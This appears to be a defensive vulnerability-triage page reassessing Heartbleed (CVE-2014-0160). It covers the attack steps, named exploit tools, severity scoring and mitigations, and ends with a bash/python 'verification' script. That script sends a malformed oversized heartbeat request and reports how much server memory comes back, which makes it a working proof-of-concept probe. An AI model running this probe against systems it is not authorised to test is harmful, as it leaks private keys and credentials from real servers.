← Back to Feed CACHED · 2026-07-10 09:17:02 · CACHE_KEY tenable:73412
tenable:73412 · CWE-125 · Disclosed 2014-04-07

OpenSSL Heartbeat Information Disclosure

ASSESSED — NOISGATE V0.5
Vendor
Reassessed
Verdict:
Do you agree?
01 · The Real Story

A twelve-year-old memory leak that still whispers secrets to anyone who asks nicely

CVE-2014-0160 is a missing-bounds-check in OpenSSL's TLS/DTLS heartbeat extension (RFC 6520). An attacker sends a heartbeat request claiming a payload length larger than the actual payload; the vulnerable server dutifully returns up to 64 KB of adjacent process memory per request. That memory routinely contained private keys, session cookies, HTTP request bodies, credentials, and CSRF tokens. Affected versions are OpenSSL 1.0.1 through 1.0.1f and 1.0.2-beta / 1.0.2-beta1. Fixed in OpenSSL 1.0.1g (07 Apr 2014) and heartbeat compiled out entirely in later branches. 1.0.0.x and 0.9.8.x are NOT affected.

The vendor label of MEDIUM here is a Tenable plugin risk-factor artifact, not the ground truth. NVD scores this CVSS v2 5.0 / CVSS v3.1 7.5, and it is on the CISA KEV catalog (added 10 May 2022) with confirmed mass exploitation in 2014 (Community Health Systems: 4.5M patient records; Canada Revenue Agency: 900 SINs; Mumsnet; countless VPN concentrators). Treat this as HIGH in 2026: pre-auth, unauthenticated, network-reachable memory disclosure of private keys on the exact process handling TLS. The only reason it is not CRITICAL today is that the surviving population is tiny and the affected component was aggressively purged over a decade.

"Heartbleed in 2026 is legacy debt, not a live crisis — but any surviving instance is a memory-leaking KEV-listed liability. Purge, don't patch."
02 · The Attack Path

4 steps from start to impact.

STEP 01

Identify a listener still running vulnerable OpenSSL 1.0.1a–1.0.1f

The attacker fingerprints TLS endpoints looking for the heartbeat extension enabled and a vulnerable OpenSSL build. Historically scanned with nmap --script ssl-heartbleed, Metasploit auxiliary/scanner/ssl/openssl_heartbleed, or Jared Stafford's ssltest.py PoC. Modern reconnaissance uses Shodan/Censys facet vuln:cve-2014-0160.
Conditions required:
  • Network reachability to a TLS/DTLS listener on any port
  • Target compiled OpenSSL with -DOPENSSL_NO_HEARTBEATS absent
Where this breaks in practice:
  • Fewer than 60,000 IPv4 hosts globally still respond vulnerable per Shodan 2026 — down from ~600K in 2014
  • Most surviving instances are embedded appliances, IPMI/BMC, printers, and abandoned VPNs — not front-line web tier
Detection/coverage: Nessus plugin 73412, Qualys QID 42430, OpenVAS OID 1.3.6.1.4.1.25623.1.0.103936 all reliably flag it unauthenticated
STEP 02

Send crafted heartbeat request with oversized length field

The attacker issues a TLS1_HB_REQUEST record with payload_length = 0xFFFF but zero actual payload. Vulnerable dtls1_process_heartbeat() / tls1_process_heartbeat() memcpy's payload_length bytes from the request buffer into the response, reading up to 64 KB past the allocation into adjacent heap.
Conditions required:
  • Established TLS handshake or in-progress ClientHello with heartbeat extension advertised
  • No preceding WAF/IPS inspection of TLS record structure
Where this breaks in practice:
  • Modern TLS 1.3 mandates no heartbeat extension — TLS 1.3 endpoints are structurally immune
  • Cloudflare, Akamai, AWS ALB, Azure Front Door strip or reject malformed heartbeats at edge
Detection/coverage: Snort SID 30510-30514, Suricata ET 2018372-2018377, Zeek ssl-heartbleed.zeek policy — all mature, low-FP
STEP 03

Iterate to reconstruct private keys and session material

Single 64 KB reads are noisy but multiple requests over hours often recover the RSA private key (Cloudflare Heartbleed Challenge proved this in April 2014). Tools like heartleech by Robert Graham automated key extraction. Session cookies and Basic-Auth creds leak faster than keys.
Conditions required:
  • Ability to keep a session alive for thousands of requests
  • Server process memory contains the private key at time of read (typical for OpenSSL-linked daemons)
Where this breaks in practice:
  • Perfect Forward Secrecy (ECDHE) protects past traffic even if the key leaks
  • HSM-backed keys never enter process memory and cannot leak this way
Detection/coverage: Volumetric heartbeat requests are trivial to rate-limit and alert on in any modern NDR
STEP 04

Impersonate the server or decrypt captured traffic

With the RSA private key, the attacker either MITMs future TLS connections (if RSA key exchange, not ECDHE) or decrypts previously captured pcaps. With stolen cookies, they hijack authenticated sessions directly. Historically this was the CHS and CRA compromise vector.
Conditions required:
  • Certificate not yet revoked / rotated
  • Downstream services trust the leaked session tokens
Where this breaks in practice:
  • Every credible CA and browser has revoked or distrusted the millions of certs replaced in 2014
  • Session tokens have almost universally rotated in the 12 years since
Detection/coverage: CT log monitoring flags re-issuance patterns; SIEM correlation on impossible-travel session use
03 · Intelligence Metadata

The supporting signals.

In-the-wild statusConfirmed mass exploitation in 2014 (CHS, CRA, Mumsnet, thousands of VPN concentrators). Ongoing opportunistic scanning through 2026, but victim yield is negligible outside embedded/IoT.
CISA KEVListed 10 May 2022 — remediation due date 24 May 2022 for FCEB. Still on the catalog.
EPSS94.4% (99th percentile) as of Jul 2026 — reflects exploit maturity, not current victim density.
PoC availabilityUniversal. Jared Stafford ssltest.py, Metasploit openssl_heartbleed, nmap ssl-heartbleed, Robert Graham heartleech, Filippo Valsorda's Heartbleed Go tool.
CVSSNVD v3.1 7.5 HIGH AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. Tenable plugin's 'MEDIUM' label is a legacy plugin risk-factor field, not the authoritative score.
Affected versionsOpenSSL 1.0.1 through 1.0.1f, and 1.0.2-beta / 1.0.2-beta1. 1.0.0.x, 0.9.8.x, and 1.0.2-stable are unaffected.
Fixed versionsOpenSSL 1.0.1g (07 Apr 2014). Distro backports: RHEL 6.5 openssl-1.0.1e-16.el6_5.7, Ubuntu 12.04 1.0.1-4ubuntu5.12, Debian wheezy 1.0.1e-2+deb7u5. All EOL — upgrade the OS, not the package.
Exposure dataShodan 2026: ~57K IPv4 still vulnerable (down from 600K in 2014). Concentrated in ICS HMIs, IPMI/BMC firmware, out-of-support Cisco ASA, and abandoned OpenVPN AS instances.
Disclosure07 Apr 2014 — coordinated release by Codenomicon and Neel Mehta (Google Security). First publicly-named CVE with logo and website (heartbleed.com).
ResearchersNeel Mehta (Google), Codenomicon team (Riku, Antti, Matti). Bug introduced by Robin Seggelmann in commit 4817504d (Dec 2011).
04 · The Call

noisgate verdict.

Final Verdict
UPGRADED to HIGH (8.6/10)

The Tenable 'MEDIUM' label is a plugin-metadata artifact — NVD scores this 7.5 HIGH and CISA KEV listed it in 2022. The single most decisive factor is role multiplier: any surviving Heartbleed instance is by definition running an unmaintained OpenSSL 1.0.1 branch, which almost always means an abandoned appliance, VPN concentrator, or embedded device holding long-lived private keys and credentials in memory — a fleet-scale key-disclosure primitive against exactly the assets you cannot afford to leak.

HIGH Technical exploitability and PoC maturity
HIGH KEV listing and historical exploitation
MEDIUM Current 2026 exposure population estimates

Why this verdict

  • Vendor label is wrong for the wrong reason. Tenable plugin 73412 carries a legacy MEDIUM risk_factor, but NVD CVSS v3.1 is 7.5 HIGH and CISA KEV-listed. Baseline should be HIGH, not MEDIUM.
  • Pre-auth network memory disclosure of the TLS process. No credentials, no user interaction, no chained bug. One packet leaks 64 KB of the process that holds your private key — a rare and high-value primitive.
  • Role multiplier — surviving population skews to worst-case roles. In 2026 the ~57K remaining vulnerable hosts are overwhelmingly VPN concentrators, IPMI/BMC firmware, ICS HMIs, and abandoned edge appliances. Chain outcome on those roles is private-key theft → traffic decryption / impersonation → network edge compromise. Floor is HIGH.
  • Exposure population narrows the ceiling. <0.02% of TLS-serving hosts globally are still vulnerable per Shodan/Censys 2026. This is not a fleet-wide crisis for a modern shop — it is targeted debt hunting.
  • PFS and HSMs blunt the worst outcomes for defenders who did the 2014–2016 migration. But that is deployment-hygiene mitigation, not vulnerability-severity mitigation.

Why not higher?

Not CRITICAL because the affected code has been out of mainline for over a decade, the surviving population is a rounding error of the internet, and TLS 1.3 endpoints are structurally immune. A CRITICAL floor would require either a wide vulnerable install base or a fresh disclosure window with unpatched systems — neither applies in 2026.

Why not lower?

Not MEDIUM despite Tenable's plugin label because the vulnerability is KEV-listed, unauthenticated, network-reachable, and exposes private key material from the security-critical process. Any single hit against a VPN gateway or identity edge is a full-tenant-compromise event. Downgrading to MEDIUM would understate the per-host blast radius.

05 · Compensating Control

What to do — in priority order.

  1. Inventory and rotate before you patch — Assume any private key, certificate, session token, and long-lived credential ever handled by a vulnerable process is compromised. Rotate keys, reissue certs (revoke the old serials via CRL/OCSP), invalidate all sessions, and force credential resets on the affected service. Complete within the noisgate mitigation SLA of 30 days.
  2. Block or terminate TLS at a modern edge — Front vulnerable listeners with a current TLS-terminating reverse proxy (nginx, HAProxy, Envoy, or a WAF/CDN). This structurally strips the heartbeat extension before it reaches the vulnerable stack. Deploy within the mitigation window; this is the practical containment for embedded devices you cannot patch.
  3. Disable heartbeat where OpenSSL cannot be upgraded — Recompile with -DOPENSSL_NO_HEARTBEATS, or on appliances disable DTLS/TLS heartbeat via vendor configuration. Only valid if the device offers the toggle — most 2014-era embedded gear does not.
  4. Segment and monitor the residual population — Any host you cannot patch or upgrade goes into a firewalled enclave with inbound TLS restricted to a jump proxy. Turn on the Snort/Suricata Heartbleed SIDs on the segment egress — they are cheap and reliable.
  5. Decommission — the real fix — OpenSSL 1.0.1 is EOL since Dec 2016. If a host is still vulnerable in 2026 you are not patching a library, you are extending EOL infrastructure. Schedule replacement within the noisgate remediation SLA of 180 days.
What doesn't work
  • Certificate rotation alone. If you don't upgrade OpenSSL, the new key leaks too. Rotate AFTER upgrade or migration.
  • Restarting the service. Clears currently-resident secrets but the next TLS session refills memory with fresh key material that leaks the same way.
  • Client-side WAF rules on the TLS record content. The heartbeat request is encrypted or occurs during handshake — application-layer WAF rules cannot see it; you need a TLS-terminating proxy or an IDS with TLS record parsing.
  • Trusting Tenable's MEDIUM label. The plugin risk_factor field is legacy metadata. Use the NVD score and KEV status for prioritization.
06 · Verification

Crowdsourced verification payload.

Run from an auditor workstation with network reach to the target. No credentials required. Example: ./heartbleed-check.sh vpn.example.com 443. Exits 2 = VULNERABLE, 0 = PATCHED, 3 = UNKNOWN.

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/usr/bin/env bash
# noisgate: CVE-2014-0160 Heartbleed check (unauthenticated, network)
# Requires: bash, openssl, python3 (for the raw heartbeat probe)
set -u

HOST="${1:-}"
PORT="${2:-443}"

if [[ -z "$HOST" ]]; then
  echo "Usage: $0 <host> [port]" >&2
  exit 3
fi

# Step 1: Does the server even advertise the heartbeat extension?
HB=$(echo | openssl s_client -connect "${HOST}:${PORT}" -tlsextdebug 2>/dev/null \
  | grep -i 'heartbeat' || true)

if [[ -z "$HB" ]]; then
  echo "PATCHED (heartbeat extension not advertised on ${HOST}:${PORT})"
  exit 0
fi

# Step 2: Send a malformed heartbeat and see if we get memory back.
python3 - "$HOST" "$PORT" <<'PY'
import socket, struct, sys, ssl
host, port = sys.argv[1], int(sys.argv[2])

hello = bytes.fromhex(
  "16 03 02 00 dc 01 00 00 d8 03 02 53"
  "43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf"
  "bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00"
  "00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88"
  "00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c"
  "c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09"
  "c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44"
  "c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c"
  "c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11"
  "00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04"
  "03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19"
  "00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08"
  "00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13"
  "00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00"
  "00 0f 00 01 01".replace(" ", ""))
hb = bytes.fromhex("18 03 02 00 03 01 40 00".replace(" ", ""))

s = socket.socket()
s.settimeout(5)
try:
    s.connect((host, port))
    s.send(hello)
    # drain ServerHello
    deadline = 0
    while deadline < 4:
        hdr = s.recv(5)
        if len(hdr) < 5: break
        typ, ver, ln = hdr[0], hdr[1:3], struct.unpack(">H", hdr[3:5])[0]
        s.recv(ln)
        deadline += 1
    s.send(hb)
    hdr = s.recv(5)
    if len(hdr) == 5 and hdr[0] == 0x18:
        ln = struct.unpack(">H", hdr[3:5])[0]
        leaked = s.recv(ln)
        if len(leaked) > 3:
            print(f"VULNERABLE ({host}:{port} returned {len(leaked)} bytes of memory)")
            sys.exit(2)
    print(f"PATCHED ({host}:{port} rejected malformed heartbeat)")
    sys.exit(0)
except Exception as e:
    print(f"UNKNOWN ({host}:{port} probe failed: {e})")
    sys.exit(3)
finally:
    s.close()
PY
exit $?
07 · Bottom Line

If you remember one thing.

TL;DR
Any host still flagged by Tenable 73412 in 2026 is EOL infrastructure, not a patchable production system — treat it as a decommission ticket, not a patch ticket. Monday morning: pull the full Tenable 73412 hit list, correlate against your asset inventory, and rank by role (VPN gateways, IPMI/BMC, ICS HMIs, identity edge = do first). Front every hit with a modern TLS-terminating proxy within the noisgate mitigation SLA of 30 days and rotate every private key, certificate, and long-lived credential that ever touched the process. Complete migration off OpenSSL 1.0.1 and re-issue certificates within the noisgate remediation SLA of 180 days. Because this is KEV-listed, if any hit is internet-facing, override the SLA and mitigate within hours — an internet-reachable Heartbleed listener in 2026 is a red-team gimme.

Sources

  1. NVD — CVE-2014-0160
  2. CISA KEV Catalog
  3. OpenSSL Security Advisory (07 Apr 2014)
  4. Heartbleed.com — Codenomicon disclosure site
  5. Tenable Plugin 73412
  6. Cloudflare Heartbleed Challenge — key extraction proof
  7. Metasploit openssl_heartbleed module
  8. heartleech by Robert Graham
Peer Review

What defenders are saying.

Submit a review attribution: handle + country only
0 flags selected · stored anonymously
Validation Results

Crowdsourced verification outputs.

Results submitted by users who ran the verification payload against their environment.